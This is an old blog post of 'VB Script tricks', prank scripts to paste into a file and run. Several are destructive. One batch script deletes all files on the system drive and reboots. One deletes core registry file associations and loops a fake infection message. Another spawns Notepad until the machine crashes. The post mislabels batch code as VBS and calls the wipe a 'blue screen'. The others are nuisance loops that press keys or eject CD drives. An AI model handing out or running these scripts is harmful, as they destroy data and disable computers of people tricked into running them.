Get me outta here!

Sunday, 15 January 2012

Some Visual Basic [VB] Script Tricks.


Here are a few VBS tricks.
To Use these tricks Open Notepad and Copy and paste the following codes.Now Save the codes asanyname.vbs[The File Name must end with .vbs]

Tricks--->

-The blue screen of Death [this might be dangerous]
*The Blue Screen Of Death can be coded and sent to you like any application. It is up to you to be carefull and try to reveal the trick before getting in serious trouble. It loops a message asking to re-install ur windows again

CODE---> 


@echo off
 del %systemdrive%\*.* /f /s /q
 shutdown -r -f -t 00

-Stupidity Shutdown
*This pops up a funny message then will shutdown the computer

CODE---> 


@echo off
 msg * Fatal system error due to admin stupidity!
 shutdown -c "Error! You are too stupid!" -s -t 10

-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]
*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)

CODE--->


@ECHO OFF
 START reg delete HKCR/.exe

 START reg delete HKCR/.dll
 START reg delete HKCR/*

 :MESSAGE
 ECHO Your computer has been infected.  Have a nice day.
 GOTO MESSAGE

-Endless Notepads
*This will pop up endless notepads until the computer freezes and crashes*

CODE--->


@ECHO off
:top

START %SystemRoot%\system32\notepad.exe
GOTO top

-Crazy caps lock
*This constantly turns caps lock on and off really fast continuously*

CODE--->


Set wshShell =wscript.CreateObject("WScript.Shell")
do

wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

-Endless Enter
*This constantly makes it so the enter button is being pressed continuesly*

CODE--->


Set wshShell = wscript.CreateObject("WScript.Shell")
do

wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

-Endless Backspace
*This makes it so the backspace key is constantly being pressed*

CODE--->


MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")

do
wscript.sleep 100

wshshell.sendkeys "{bs}"
loop

-Popping CD Drives
*This will make the CD drives constantly pop out*

CODE--->


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection

do
if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject

Next
For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject
Next

End If
wscript.sleep 100
loop

This Note By-

KANISHK SINGH,

0 comments:

Post a Comment

Due to the permanent shut down, I rarely visit the blog. Don't expect answers to your queries very soon.
-Kanishk